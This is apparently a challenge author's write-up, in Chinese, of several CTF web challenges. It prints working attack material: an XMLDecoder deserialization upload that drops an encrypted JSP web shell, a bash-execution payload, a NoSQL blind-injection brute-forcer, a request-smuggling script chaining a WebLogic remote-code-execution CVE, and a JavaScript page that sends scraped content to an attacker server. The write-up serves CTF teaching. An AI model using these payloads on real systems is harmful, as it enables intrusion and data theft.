easycms
网上找了个后台getshell的cms哪来改改用了,当作签到题。
babycat
非预期:
首先是uploadServlet中doPost没权限校验导致guest也能直接传文件,其次在check函数后转发没返回,后面的代码依旧执行,造成了严重的非预期呜呜呜
if (checkExt(ext) || checkContent(item.getInputStream())){
req.setAttribute("error","upload failed");
req.getRequestDispatcher("../WEB-INF/upload.jsp").forward(req,resp);#这里后面应该return
}
所以只要上传jsp到web目录即可getshell,当时被一血我就感觉不对了呜呜呜,然后连忙去弄了revenge
预期解:
babycat-revenge做了修复(1.将db目录隐藏至WEB-INF 2.upload的post接口做了权限校验 3.修复了waf失效的问题)
首先需要登陆,点击register有一个not allowed的烟雾弹,但是源码中写出了传参方式
<script type="text/javascript">
// var obj={};
// obj["username"]='test';
// obj["password"]='test';
// obj["role"]='guest';
function doRegister(obj){
if(obj.username==null || obj.password==null){
alert("用户名或密码不能为空");
}else{
var d = new Object();
d.username=obj.username;
d.password=obj.password;
d.role="guest";
$.ajax({
url:"/register",
type:"post",
contentType: "application/x-www-form-urlencoded; charset=utf-8",
data: "data="+JSON.stringify(d),
dataType: "json",
success:function(data){
alert(data)
}
});
}
}
</script>
先老实注册一个用户
data={"username":"bbb","password":"aaa","role":"test"}
登陆后当前用户为guest,也会发现upload需要admin访问,downtest处可以任意文件下载,并且根据web.xml可以一步步得到所有源码
文件目录
然后先关注怎么成为admin,看到com.web.servlet.registerServlet这里
接收data参数,然后正则匹配其中的
"role":"(.*?)"
并将最后一个匹配强制替换为了guest,这里由于是json库,并且是gson进行解析,于是可以在json中自由使用注释符/**/,所以payload可为
data={"username":"wander123","password":"12345","role":"admin"/*, "role": "test"*/}
->替换后
data={"username":"wander123","password":"12345","role":"admin"/*, "role": "guest"*/}
其实这里是看了这篇文章的思路:
https://labs.bishopfox.com/tech-blog/an-exploration-of-json-interoperability-vulnerabilities
里面说java的JSON-iterator库会使这一段
obj = {"description": "Duplicate with comments", "test": 2, "extra": /*, "test": 1, "extra2": */}
处理后的结果为:
description = "Duplicate with comments"
extra = "/*"
extra2 = "*/"
test = 1
但是奈何我网上找不到这个json-iterator迭代库的使用(找到了也一直复现不出来),索性就用了正则匹配了。所以这里可能解法很多
登录成为admin
然后uploadServlet那有白名单
String[] extWhiteList = {"jpg","png","gif","bak","properties","xml","html","xhtml","zip","gz","tar","txt"};
注意到这里能上传xml文件,而在操作数据库的com.web.dao.baseDao中有使用了xmldecoder来获取数据库信息
Object obj = new XMLDecoder(new FileInputStream(System.getenv("CATALINA_HOME")+"/webapps/ROOT/db/db.xml")).readObject();
并且上传只对后缀和文件内容做了过滤,那么就可以考虑路径穿越写入恶意的xml,然后触发xmldecoder反序列化
这里过了比较常见的xmldecoder需要用到的类,
String[] blackList = {"Runtime","exec","ProcessBuilder","jdbc","autoCommit"};
其实也不算啥waf,后来给了提示使用java.io.PrintWriter来写文件到static目录getshell(绝对路径可以通过读../../../../../../../proc/self/environ得知)
PrintWriter
POST /home/upload HTTP/1.1
Host: 192.168.135.131:8078
Content-Length: 1610
Origin: http://192.168.135.131:8078
Content-Type: multipart/form-data; boundary=----WebKitFormBoundary6hXaMhhzEhTBLWf2
User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/90.0.4430.212 Safari/537.36
Cookie: JSESSIONID=35BE608E654A74B00415B364549D139E
Connection: close
------WebKitFormBoundary6hXaMhhzEhTBLWf2
Content-Disposition: form-data; name="file"; filename="../db/db.xml"
Content-Type: image/png
<?xml version="1.0" encoding="UTF-8"?>
<java version="1.8.0_192" class="java.beans.XMLDecoder">
<object class="java.io.PrintWriter">
<string>/usr/local/tomcat/webapps/ROOT/static/shell.jsp</string><void method="println">
<string>
<![CDATA[<%@page import="java.util.*,javax.crypto.*,javax.crypto.spec.*"%><%!class U extends ClassLoader{U(ClassLoader c){super(c);}public Class g(byte []b){return super.defineClass(b,0,b.length);}}%><%if (request.getMethod().equals("POST")){String k="e45e329feb5d925b";session.putValue("u",k);Cipher c=Cipher.getInstance("AES");c.init(2,new SecretKeySpec(k.getBytes(),"AES"));new U(this.getClass().getClassLoader()).g(c.doFinal(new sun.misc.BASE64Decoder().decodeBuffer(request.getReader().readLine()))).newInstance().equals(pageContext);}%>]]>
</string>
</void><void method="close"/>
</object>
</java>
------WebKitFormBoundary6hXaMhhzEhTBLWf2--
也可以直接用实体编码绕过滤 (来自NaN)
<?xml version="1.0" encoding="UTF-8"?>
<java>
<object class="java.lang.ProcessBuilder">
<array class="java.lang.String" length="3">
<void index="0">
<string>/bin/bash</string>
</void>
<void index="1">
<string>-c</string>
</void>
<void index="2">
<string>{echo,BASE64encodeHere}|{base64,-d}|{bash,-i}</string>
</void>
</array>
<void method="start"/>
</object>
</java>
覆盖之后找个地方调用了getConnection,登录注册都可以
然后连上/readflag即可
hackme
提示nosql盲注
这里过滤了regex/ne/eq字符,因为是json,所以可以用unicode来绕过
这里python中写\u0024
会被转义成\\u0024
(我真受不了python这点,或者有师傅知道避免的方法可以告诉dd我呜呜),所以我用php的fsockopen发包了
<?php
function send($txt){
$fp = fsockopen("172.17.135.33",7000,$errno,$errstr,30);
if(!$fp){
echo "$errstr ($errno)
\n";
}else{
$data=<<<EOF
POST /login.php HTTP/1.1
Host: 172.17.135.33:7000
Cookie: PHPSESSID=kgdpk7vadusalqkr1e7rb6dkct
Content-Length: %s
Connection: Close
%s
EOF;
$d='{"username":{"$\u0065\u0071":"admin"},"password":{"$\u0072\u0065\u0067\u0065\u0078":"^%s"}}';
$d=sprintf($d,$txt);
$out=sprintf($data,strlen($d),$d);
fwrite($fp,$out);
$content = '';
while(!feof($fp)){
$content .= fgets($fp,128);
}
fclose($fp);
if(stripos($content,"登录了,但没完全登录")){
return $txt;
}else{
return "";
}
}
}
$pass = '';
$arr = ['0', '1', '2', '3', '4', '5', '6', '7', '8', '9', 'a', 'b', 'c', 'd', 'e', 'f', 'g', 'h', 'i', 'j', 'k', 'l', 'm', 'n', 'o', 'p', 'q', 'r', 's', 't', 'u', 'v', 'w', 'x', 'y', 'z', 'A', 'B', 'C', 'D', 'E', 'F', 'G', 'H', 'I', 'J', 'K', 'L', 'M', 'N', 'O', 'P', 'Q', 'R', 'S', 'T', 'U', 'V', 'W', 'X', 'Y', 'Z'];
for ($c=0; $c < 100; $c++) {
for ($i=0; $i < count($arr); $i++) {
$res = send($pass.$arr[$i]);
if($res!==""){
$pass=$res;
print($pass);
echo "\n";
break;
}
}
}
得到密码42276606202db06ad1f29ab6b4a1307f,登录
info.php(这里我犯了个错,admin.php的跳转后面没die掉,不用登录也行,并且我手欠多加一个info.php使得有一个队的师傅用PHP_SESSION_UPLOAD_PROGRESS拿shell然后把后面的内网代理出来打了,确实厉害)
继续,可以猜测是通过php info.php执行的,/etc/passwd能读取文件
/flag发现提示flag在内网
这里没有ssrf的地方,结合提示"注意server和其配置文件"。那么首先去看server,burp抓一下返回包会发现server是nginx 1.17.6(在1.17.7之前版本中的error_page 存在走私漏洞)
先继续看他的配置文件,这里可以通过读/proc/self/environ得到当前目录/usr/local/nginx/html
nginx配置文件/usr/local/nginx/conf/nginx.conf,这里有个小细节是访问404的路由会自动跳转到404.php,符合error_page走私
发现nginx反代。其实http走私他只能访问同一个端口的web服务,不过正好可以用来打nginx反代
http {
include mime.types;
default_type application/octet-stream;
sendfile on;
#tcp_nopush on;
#keepalive_timeout 0;
keepalive_timeout 65;
server {
listen 80;
error_page 404 404.php;
root /usr/local/nginx/html;
index index.htm index.html index.php;
location ~ \.php$ {
root /usr/local/nginx/html;
fastcgi_pass 127.0.0.1:9000;
fastcgi_index index.php;
fastcgi_param SCRIPT_FILENAME $document_root$fastcgi_script_name;
include fastcgi_params;
}
}
resolver 127.0.0.11 valid=0s ipv6=off;
resolver_timeout 10s;
# weblogic
server {
listen 80;
server_name weblogic;
location / {
proxy_set_header Host $host;
set $backend weblogic;
proxy_pass http://$backend:7001;
}
}
}
server_name是weblogic,尝试走私一下(这里用burp走私着实不太方便,我试好几下可能才走私一次。所以我下面用的socket)
注:图为本地环境
走私访问/console/login/LoginForm.jsp,payload为:
'GET /a HTTP/1.1\r\nHost: node3.buuoj.cn\r\nContent-Length: 66\r\n\r\nGET /console/login/LoginForm.jsp HTTP/1.1\r\nHost: weblogic\r\n\r\n'
得到版本为12.2.1.4.0,使用CVE-2020-14882,%252e%252e绕过登录,回显exp直接打,socket发包
#!/usr/bin/env python3
import sys
import socket
import requests
import urllib.request
def request(content, hostname, port):
print(content)
def issue_request(server):
assert server.send(content) == len(content)
data = server.recv(1024)
while len(data) > 0:
print(data.decode())
data = server.recv(1024)
with socket.create_connection((hostname, port)) as raw_socket:
issue_request(raw_socket)
try:
raw_socket.shutdown(socket.SHUT_RDWR)
except Exception as e:
pass
def encode(payload, hostname):
offset = 5 + payload.count("\n")
return (
(firstRequest.format(hostname=hostname, length=len(payload) + offset) + payload)
.replace("\n", "\r\n")
.encode("utf-8")
)
def main(hostname,port):
payload = '''GET /console/login/LoginForm.jsp HTTP/1.1
Host: weblogic
'''
exp = '''/console/css/%252e%252e/consolejndi.portal?test_handle=com.tangosol.coherence.mvel2.sh.ShellSession(%27weblogic.work.ExecuteThread%20currentThread%20=%20(weblogic.work.ExecuteThread)Thread.currentThread();%20weblogic.work.WorkAdapter%20adapter%20=%20currentThread.getCurrentWork();%20java.lang.reflect.Field%20field%20=%20adapter.getClass().getDeclaredField(%22connectionHandler%22);field.setAccessible(true);Object%20obj%20=%20field.get(adapter);weblogic.servlet.internal.ServletRequestImpl%20req%20=%20(weblogic.servlet.internal.ServletRequestImpl)obj.getClass().getMethod(%22getServletRequest%22).invoke(obj);%20String%20cmd%20=%20req.getHeader(%22cmd%22);String[]%20cmds%20=%20System.getProperty(%22os.name%22).toLowerCase().contains(%22window%22)%20?%20new%20String[]{%22cmd.exe%22,%20%22/c%22,%20cmd}%20:%20new%20String[]{%22/bin/sh%22,%20%22-c%22,%20cmd};if(cmd%20!=%20null%20){%20String%20result%20=%20new%20java.util.Scanner(new%20java.lang.ProcessBuilder(cmds).start().getInputStream()).useDelimiter(%22\\\A%22).next();%20weblogic.servlet.internal.ServletResponseImpl%20res%20=%20(weblogic.servlet.internal.ServletResponseImpl)req.getClass().getMethod(%22getResponse%22).invoke(req);res.getServletOutputStream().writeStream(new%20weblogic.xml.util.StringInputStream(result));res.getServletOutputStream().flush();}%20currentThread.interrupt();%27)'''
payload = f"""GET """+exp+""" HTTP/1.1
Host: weblogic
cmd: /readflag
Connection: close
"""
request(encode(payload, hostname), hostname, port)
#ps:第一次访问先用第一个payload,然后再打第二个
if __name__ == "__main__":
firstRequest = """GET /a HTTP/1.1
Host: {hostname}
Content-Length: {length}
"""
hostname = "172.17.135.33"
port = 7000
main(hostname,port)
header头里执行/readflag即可
CheckBOT
这题本来是学弟弄了个csrf的题,结果tm的他弄不好还得要我加班,并且测试过程中因为这个bot遇到了很多问题,最恶心的就是bot的阻塞,所以临时改成了这样,这题0解很大原因可能就是bot网络访问太慢了(有想鲨我学弟的我可以代🔪,免费)
admin.php页面
<p id="flag"><?php
error_reporting(0);
$ip = $_SERVER["REMOTE_ADDR"];
if (filter_var($ip, FILTER_VALIDATE_IP, FILTER_FLAG_NO_PRIV_RANGE | FILTER_FLAG_NO_RES_RANGE)===false) {
echo exec('cat /flag');
}else{
echo $ip;
}
?></p>
bot点击提交的URL访问文件触发js,判断是否是内网ip,vps上构造
<!DOCTYPE html>
<html>
<body>
<iframe id="flag" src="http://127.0.0.1/admin.php"></iframe>
</body>
<script>
function load(){
var p = parent.frames['flag'].contentWindow.document.body.getElementsByTagName("p")[0];
var content = p.innerHTML;
var iframe = document.createElement('iframe');
iframe.src='http://ip:port/?data=' + btoa(content)
document.body.appendChild(iframe);
}
window.onload = load;
</script>
</html>
总结
java再也不用servlet了呜呜,说实话本来想出一道跟这个:http://w4nder.top/?p=434有关的题,但是感觉不好放到题里,做一道可能要开好几次靶机,就作罢了。还有这里推荐一个搭weblogic的docker:
https://github.com/QAX-A-Team/WeblogicEnvironment解决了我不少问题。再来就是cms,有时间一定要试试挖一个。最后是那个bot,最开始因为bot网络慢,所以直接while 1多线程,后面被赵总说是人工fork炸弹2333。
这里也挺感谢赵总的,因为部分docker在buu上有点"不兼容",例如hackme那题nginx内存给少了,weblogic一打就一直重启502等等,总之赵总辛苦。而且我自己开发也比较少,出现了很多非预期呜呜呜。
现在看去年出的题简直有点不堪入目,虽然今年也是...